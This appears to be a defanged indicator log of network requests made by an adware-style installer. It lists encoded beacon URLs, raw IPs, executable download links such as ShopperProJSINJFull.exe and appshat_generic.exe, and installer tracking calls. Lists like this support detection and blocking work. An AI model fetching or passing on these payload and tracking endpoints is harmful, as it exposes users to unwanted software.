hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwefLntFW0zc701JCwbnyZJvRrEIY7kGBxo JtFmX42fhH8BpzHlelGWhoQhcnWLYhOuZT5QepDhWmQg3QHod5Z21J2oWtKgdryp/sUwP8UjkzdT/T0Mo01fmtZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKBDEn0j3eIDK7QG60abnoF/9Rz9qdjeZA5mLTb589bsOOMLpHSm1q g==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsCm4 jApsJwUl7nMCA Puxn33L58g5Vfvh4hRH7uafCO/9Eu04BWpzg==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=2fVCHF6kf8gqMrckuXQYBGRwNktoQ3nsEhGH33nPGlEQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFr1QHs3X92ilHPsYeJ7guqL3mQKhyBoITNs IILilpWF0EB1KJjJJfUAE70KA8ZXhbA8YCZx49749XwOtu/CmAKgJUlT431fkCbEvv7B8EBQsLMIR5jdasKUjHLHHjeqvRbJe0G7hafD0cV0gl/F/pYgE70KA8ZXhbA8YCZx4974 B86 WNxeRBjxqYaUP6TQsCGXM8nuRsrwLu S4teDFcGFsLq 3JUmEyXyampC/aqBvwYTPRA/ZZJdGe7ForKgmJMbGviezzI48wTR30dhWKzAQ/GBCUCsKFw34iJcRE4ZONmeuSCxgZcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVhzKGZrtoOnPia6IsUvvqp2uESlkv7ho77Nj19XlaWijbMb8pyXMn8=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=2fVCHF6kf8gqMrckuXQYBGRwNktoQ3nsEhGH33nPGlEQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFr1QHs3X92ilENsgzOne6YootdTWmGMXDZf1BAY4LH4DXJ/Wd udVl73DBUCuUT/a3jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LKdbCddElNad3dLO3htDFEeMMWr5 TJ2MF4rjDLtFkGZI7/t7pTWD9w==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=2fVCHF6kf8gqMrckuXQYBGRwNktoQ3nsEhGH33nPGlEQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFr1QHs3X92ilEKNSXkoE/uV5pZis9f nTddyS4BuUDC9W3X2f616LHv6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRAQJM7f ipQ76Dd/WWGKABpQd65V8ghdGDv ErdUGA6HBIdbLA390arxVCZO33Ng=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=2fVCHF6kf8gqMrckuXQYBGRwNktoQ3nsEhGH33nPGlEQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFr1QHs3X92ilGr/ceExD0utgTxIUcsgQ wgoc5yg4Xn9QTzTZ4WWsKIZbjoNIgPSfAxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9WHMoZmu2g6c JroixS qna4RKWS/uGjvs2PX1eVpaKNsxvynJcyfw==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=KSz5qzb2KgJPNjxRBLtb4/blDe4kkWsD/WD6e6SZIIExLHUkaU0662DlNcv2CDURqIv75/Ca75p3dLO3htDFEeMMWr5 TJ2MF4rjDLtFkGZI7/t7pTWD93wF8xC533Fcga zuhV9q9HBPj1czTaPD6TBgykGtBXjnbJKYwPfuhCWcSucRpHa5xQC drCF7eFc68xQtOPoFfUGrm1d5TzRzYd0CRAC1t03RQMh2kgHVCeHUcar4A/UqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRAQJM7f ipQ76Dd/WWGKABpQd65V8ghdGDv ErdUGA6HBIdbLA390arxVCZO33Ng=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=Bla1gpvbWwBFwtfIvB/2Ur1pdURLVI9AjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jhK7uAPHPA/a1yMTX l/6fSl3u293svNWe4QpoO1WcaCmF904v4t2DWh4MCMnJFQgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuibbx1H4KblNZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUt0Nlf9GvHrHU=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=hXeqmv1IpenVj9BNm3y5B2RwNktoQ3nsW1tgKrNy38kQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFrb GEwPiedNIoPfCrfVvRJhQC drCF7eFcz7 uAJ9xYc2HdAkQAtbdN0UDIdpIB1Qnh1HGq AP1KrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQECTO3/voqUO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGq8VQmTt9zY	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/16945.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jHdnI4qyHE9iJOdggUH8lGT3FsALGJiApIj GXdVcREtCUHeR8YCF35CHo3qBIj7aeeVwEMc36B6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRAQJM7f ipQ76Dd/WWGKABpQd65V8ghdGDv ErdUGA6HBIdbLA390arxVCZO33Ng=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/16945.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jHdnI4qyHE9iJOdggUH8lGT3FsALGJiApIj GXdVcREtCUHeR8YCF3dBxqFduAyLccdDmfpxraNQFowOuez0DW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jwcgnxskTEU3UUNYg7k1gh3qy44NMFjniEc/tpgWF 4QCPq0sZbJmrMOG6Yjxv3CA==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jhK7uAPHPA/SIWGJQvu967T3FsALGJiApIj GXdVcREtCUHeR8YCF3picd9c3AkGezCcoAUR1qA6wWHAZ0LKJ2BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLom28dR Cm5TWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdDZX/Rrx6x1	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jhK7uAPHPA/SIWGJQvu9673IlxQB6eB5S9R7UpgWEByNCUHeR8YCF3B0MgIN2G2GkE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuibbx1H4KblNZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUt0Nlf9GvHrHU=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/ShopperProJSINJFull.exe	198.232.124.192
hxxp://cds.c5z6s5a3.hwcdn.net/spd/shopp/sense9.exe
hxxp://cds.c5z6s5a3.hwcdn.net/spd/shopp/iweb.exe
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jhK7uAPHPA/SIWGJQvu9673IlxQB6eB5S9R7UpgWEByNCUHeR8YCF3Mlt I6v8YQuU2F4Ptf8DU8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVhzKGZrtoOnPia6IsUvvqp2uESlkv7ho77Nj19XlaWijbMb8pyXMn8=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jhK7uAPHPA/SIWGJQvu967D5Sh2iPx4Tl/DvTHZIAKtATxIUcsgQ wusjSmD/os8shJkdH5jOhAHvojBYZTAl2SDGL01oIa7jD3Psqw12eBUNQkrQodbn4W0C6B oLg2/kIgqoM4zGjB6RUS1Mgh81BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLom28dR Cm5TWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdDZX/Rrx6x1	198.232.124.192
hxxp://d2z5psu5fxw71b.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.98.173
hxxp://d1h8rlkib3jo2q.cloudfront.net/sponsored/webprotectorplus/eula-webprotectorplus.html	54.230.99.253
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.4&utms=1&utmn=163066747&utmhn=installer.filebulldog.com&utmhid=1351802398&utmr=-&utmp=Installer_Init&utmht=1429690888780&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=1951245881&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://54.230.99.17/mirror/nerocrossrider/appshat_generic.exe
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=/k6kR j50trrVVBzJuBn8nI0A0MEgFsCUunkGFg4nZ5AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYym DfDTo4DWQRWOvghCBTr/TdVMo67fxO0s IILilpWF0qsPhrJ4rL5/EiQPnfm1ghi/Nq9Fx/HBIE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuibbx1H4KblNZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUt0Nlf9GvHrHU=	198.232.124.192
hxxp://54.197.238.106/app/ping.ashx?e=LCnUzM5l8JJPNjxRBLtb4 j8TSjavlFmt8f6YpiR28K/M iZRiJnRnHdTB6jkze/avGlMWAqZVFiMS3IfnnV/WoUPbn8 m8eJ2AXz3DUAfeiVKmshyeUoZg8JvVPLLR8MiltqvJyObgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQxb91FMWgpmsTuQ1DAHiWFFbF1za1PDG7hmocZUcSQS3AHl6w3H159Q==
hxxp://173.239.4.105/app/ping.ashx?e=/k6kR j50tq2T48fwpLktEXC18i8H/ZSaYCkA61OJkHZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWPOtYPxFebybOT2Ivb7ZSUkUvubeDU93VIs0AEv1kh1DKJj24mv8XjnS5StnPX94HWqnaKp4YBMQKbj6MCmwnBSXucwID4 7GffcvnyDlV HiFEfu5p8IyO1Xs1dCcHMkC1fv30UfvLsGQSKKEX4MKBMt6GmkIFntLFSggbgl2i/wC513n 0HRZRXx49nRJ1TcWL70UkzVrp4nRJFoUZgp4Yvmw1YuoPQOGdJX7Ys4OCi0N7aB6YG6hHY oh5wmy9pSoWtDn2v0LZyn40Iw2XqEsFB7attMxqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx215yWtRYQP8BPk7xJ9pwygS8wv5UC4LikkOT CD kKuNDTDTW9UekgQ6xO8SsEd1vQGPfwqbgkyABd
hxxp://173.239.4.105/app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7rLCN3RAljps6WsYkYO9ZYsicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L70vvYtuUlw ZaDn5jCLwttgKkdlz1lRoRVZ6ImNImI0nDgs7q5vmXmt09Lyj4wnx81JAAFQCEiFa5OEmrbJtlEE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQ3QYJFiW2TpHdRQ1iDuTWCHerLjg0wWOeIRz 2mBYX7hAI rSxlsmasp WEd17ItGHySmeDQikgk=
hxxp://173.239.4.105/app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7rLCN3RAljps6WsYkYO9ZYsicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L70vvYtuUlw ZaDn5jCLwttgKkdlz1lRoXg/MOwCCT3fpsrZDsYYadbOj/D8d98sTHIeppoKBjGo94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib g9KDdEq/ZU1na42knl8dt2p5Dhwj6xWsxk4TCH dVlV0fzcryGBS2cR8EkzWoCFaau9xWXQx//
hxxp://173.239.4.105/app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7rLCN3RAljps6WsYkYO9ZYsicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L70vvYtuUlw ZaDn5jCLwttgKkdlz1lRoRVZ6ImNImI0iEXGWpB/Vxx9JRgDraC5 HXDt2EFtCwM92BbgGggTYM0aMVVjAOEb9CVjDgQJnQuEXaK01lzwi9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDCm4 jApsJwUl7nMCA Puxn33L58g5Vfvh4hRH7uafCPlIFwve8uU uLmf6eHphUt9 inPTLZDtg=
hxxp://54.197.238.106/app/ping.ashx?e=LCnUzM5l8JL2b5ZtEYATmCGZf5tV7NUiB70p5cFj8vcD/fqz7XUSNP/TL4QSzfDiBG/sM70J21zXoGRO e/ZLiQlJ2XhFkJwtYRRGpvjKZmzjXrgYJQKsUCndBhIJGn5Gl3VMfCFqNT669uXeODcaYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVdoFBzsdHnoxY0nFdBrCug2ZuS0/O3oV2q2/NIxeD7P1aau9xWXQx//
hxxp://173.239.4.105/app/ping.ashx?e=d/UISSlWdlNFwtfIvB/2UrFcLkSXvd1y2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrTnlytR4CrxDFFm1YMIsTVjzrWD8RXm8mzk9iL2 2UlKtponuive24bONeuBglAqx2OvgjCTQ5zWCA ceWLS1kKWny/cm1KhfpYVIHBu2Qb3eKkVyT2Ds/uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF9Ycyhma7aDpz4muiLFL76qdrhEpZL 4aO zY9fV5WlojqF5wm2r6yMtUYb9dqX32KOEog NNy6LA==
hxxp://173.239.4.105/app/ping.ashx?e=/k6kR j50tq2T48fwpLktEXC18i8H/ZSaYCkA61OJkHZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWPOtYPxFebybOT2Ivb7ZSUiiQud1Q24EcqWLfaltpxWxEermBzJsSMI64eKLyvxa894khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib g9KDdEq/ZU1na42knl8dt2p5Dhwj6xWsxk4TCH dVlV0fzcryGBS1ge4KEdZJgeaau9xWXQx//
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=LG8dwPiPk7OfZNC1TqAoBHsn3FpN4laB1VMaOJFqXYpm5LT87ehXaouB5vT09TkZM1FwykDBwFYl7nMCA Puxn33L58g5Vfvh4hRH7uafCN7AIPnzDq7zLiKIFo3W8f23Wq7IsWCDz5Xs32Kf02UP3ZWIHhdOu4nz3HjAX5f3Ms/caEgn1aywnSpt9GSHWXQjyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L/4y49ULAFDJjOm3A3nSXCDDqZm84mZltXkERNHBe5a3/5OmEDwJ/nJy0n5cCJyqEpnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoEMSfSPd4gMrtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw44wukdKbWr6	198.232.124.192
hxxp://54.197.238.106/app/ping.ashx?e=bomaaVKFzzKfZNC1TqAoBHsn3FpN4laBfhalIKY8mkHF v7PQ4kXwFfJuLEsXK5wdTDQrchEgee7POMu04e0BSngVvOsCGnWujghDckn/xgt lphzBReO6bK2Q7GGGnWJ281Et5v 1ivpBvzhFxOqDKzz2j1DKRExuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj2ANygAkC0Bha6lfIH DnKMZiwRfiQgeW8eFfSuOsPNu9 inPTLZDtg=
hxxp://54.197.238.106/app/ping.ashx?e=bomaaVKFzzKfZNC1TqAoBHsn3FpN4laBfhalIKY8mkHF v7PQ4kXwFfJuLEsXK5wdTDQrchEgee7POMu04e0BSngVvOsCGnWujghDckn/xgt lphzBReO6bK2Q7GGGnWJ281Et5v 1gpJLLN2z FnwCiBUKcGrTX6nvOi2lZHZeM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXaBQc7HR56MWNJxXQawroNmbktPzt6FdqYDsLXEeAL2CmrvcVl0Mf/w==
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=LCnUzM5l8JJPNjxRBLtb48og2agSuHbz/WD6e6SZIIExLHUkaU0662DlNcv2CDURqIv75/Ca75p3dLO3htDFEeMMWr5 TJ2MF4rjDLtFkGZI7/t7pTWD93wF8xC533Fcga zuhV9q9HBPj1czTaPD YbVOspTOCGYCpHZc9ZUaFgmm5xjmBlpCI3FLqKedV9QoAE/or KqogGeUpHHIWiSSfRcuIfR0fUu0KI1IApgXi8o/D3UbFG5afu6g3zDL9sAA87lr5peQqPeikK78R8xbc 92iXckP2zoGJL1TUxzG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H1Ycyhma7aDpz4muiLFL76qdrhEpZL 4aO zY9fV5Wloo2zG/KclzJ/	198.232.124.192
hxxp://173.239.4.105/app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7rLCN3RAljps6WsYkYO9ZYsicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L70vvYtuUlw ZaDn5jCLwttgKkdlz1lRoYUad3QpOh3uU8/inQ0dV1y6KJfGT/oeAyr6Se9TnnMMjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ty8ph h1ipV6WXm8RRHiPpDvoN39ZYYoAGlB3rlXyCF0YO/4St1QYDocEh1ssDf3ThcpBOQbZaysAeXrDcfXn1
hxxp://173.239.4.105/app/ping.ashx?e=aL/yzOcQGPlyNANDBIBbAsFixO YD1r6 0R MP RL3UJOLXkS9L/h2bktPzt6FdqQYaz/bcGN5ReNgjp9TKQKu7pSUDvM6KOSmeNQj6tyAHbYKYy91 zfZ5dcTig2boV6xool1mM9zb4KwdVWYfAjLGJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gQQxJ9I93iAyu0ButGm56Bf/Uc/anY3mQOZi02 fPW7Dma 7wZb2cPQo3Gv nP8wmYBlKlGJcuDg
hxxp://54.197.238.106/app/ping.ashx?e=eISsn0A7mAY luBT5UotGDUK7GK7BZ30LUotJQa60ZF8HUTlRWqBMpqmf2Jej06Ro0LYMjdINHMQslsRMw lHlOF8w yxhy/qUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj2ANygAkC0Bha6lfIH DnKMZiwRfiQgeW8eFfSuOsPNu9 inPTLZDtg=
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/7790.ashx?e=eISsn0A7mAY luBT5UotGDUK7GK7BZ30FOuh80Io0Y54E7mrr1h80riKIFo3W8f23Wq7IsWCDz5m Ygl8Eay0CN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DTTuHrYVulo109x0h yMmOq3 e5cYLWVDvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2gx4pqovyBvFpdD3k9Bz56StbFykGQeFJDeQKlJvveiYBN5p9ENNd42Jy LrysKIChDb8xDMtOox69ZimTX2csKzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYqMf1yxTT/30MA9uFDT8/vF0n/27iYAIjK5pdl3V4yoSZtC3ZUXmNv4hOEZ9fC9NN7s9C7tmmeIQ4UJj9eY3tRmk7I4yfJnN09rt2l8NGmYj2E1HYcjpoPKAXI5V7Gtdqpvy6uPeX Y MzVNympUSpDG1jkfk8RUtXBZN1YEp6CgBTkqHD55VI9tsBE3goakaNKHf2N3vo8q9B74JTBGQK5XqeKgixlj5JRy9SKUBStobWHq/Ys8JKTptjI6DAEWldLdCZvbg0Vxe jCJhwZ2krd1LISTKeN3CckdTtpt CJHBL2Jt9fHj8veJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/18865.ashx?e=CMT2M57d1xmfZNC1TqAoBHsn3FpN4laB1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6Zamn/tEKIOyBXf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/18865.ashx?e=CMT2M57d1xmfZNC1TqAoBHsn3FpN4laB1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6Zamn/tEKIOyBXf1ws7XaD2yRYhZSGl8ahHJscN vLrCo78exDZM0cTsP3GhIJ9WssI TdI1rDUfDB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv/jLj1QsAUMmM6bcDedJcIMOpmbziZmW1eQRE0cF7lrf/k6YQPAn cmB5nIkMjph0BJ7ytXtOq9SKV0xCpDcC6ECkfAR9QM72jz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqiH2RiyWzXjsvqmqBW5XL7l9IYL8x1ybsb4FXLrRIVqTq10EZsxP4trEIkQsYPNggSlJQe0vxDLEzDsdDpQ6tGYV8yzKP9iG8Dm7k0HmXcf88Sy wW7Vv/w4xBfpeCLMatvuksb7LC7IaCnTaHRnGMLB0lcfia15nl0eFK1c7Xfl6fqJvtbGSe/nXBYmj vXd E7kNQwB4lhRWxdc2tTwxuylfDB3e3gQ 62ls PLHCLAiYA14BsUXG3T8yBNq2sRxCVpHDePMpxXW5lnk56ZrbwxjS6fy1fM/zRGD jAU8bbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/7790.ashx?e=/TVH52TeC6RFwtfIvB/2Uko8qwHW8cv/jA5kVqVgWdAgLxC0aXqYrYyox39H7ctISTZgAuf6BVpNATguov8slGAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ==	198.232.124.192
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=CwD9X8OFGaJFwtfIvB/2Us4J bVAgFaZYvzGyT3Jwp3SbXk6DnoEFqJbxJt93KfO0bQiG/eg2Z0ekaCddE1NLOgga322f3p0vV57xa3n n4xLHUkaU0662DlNcv2CDURqIv75/Ca75p3dLO3htDFEeMMWr5 TJ2MF4rjDLtFkGZI7/t7pTWD95fGsaHjTJJ ntWVBNj6peZ/Lad3Y6gE1ZlxWTdtZreIwlv5Qh OtHGaiLQITrgk88z/1U/hhGLO94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjnH72/SGLqiOX lStajyhrtV0y3FhG5nSWLgeb09PU5GTNRcMpAwcBWJe5zAgPj7sZ99y fIOVX74eIUR 7mnwjewCD58w6u8xhditMmkCk0A==	54.197.238.106
hxxp://173.239.4.105/app/ping.ashx?e=j7YMo/n29XPRUlNDQ0FfzXI0A0MEgFsCHTtH8CUDzbT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo5KZ41CPq3IASdvNRLeb/tYs4164GCUCrFoceVsKClDm/Wv9kqlZCJeiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF9Ycyhma7aDpz4muiLFL76qdrhEpZL 4aO zY9fV5WlojqF5wm2r6yMeA0Jt4uzXIKOEog NNy6LA==
hxxp://173.239.4.105/app/ping.ashx?e=j7YMo/n29XPRUlNDQ0FfzXI0A0MEgFsCHTtH8CUDzbT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo5KZ41CPq3IASdvNRLeb/tYs4164GCUCrFoceVsKClDm0InYace3OQdd8zJZOZia4B/MCmMt8HPuvtm2x/E2lxmxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kjynWwnXRJTWnd3Szt4bQxRHjDFq fkydjBeK4wy7RZBmSO/7e6U1g/fWQ10mKav51A8SfsOq8sVv
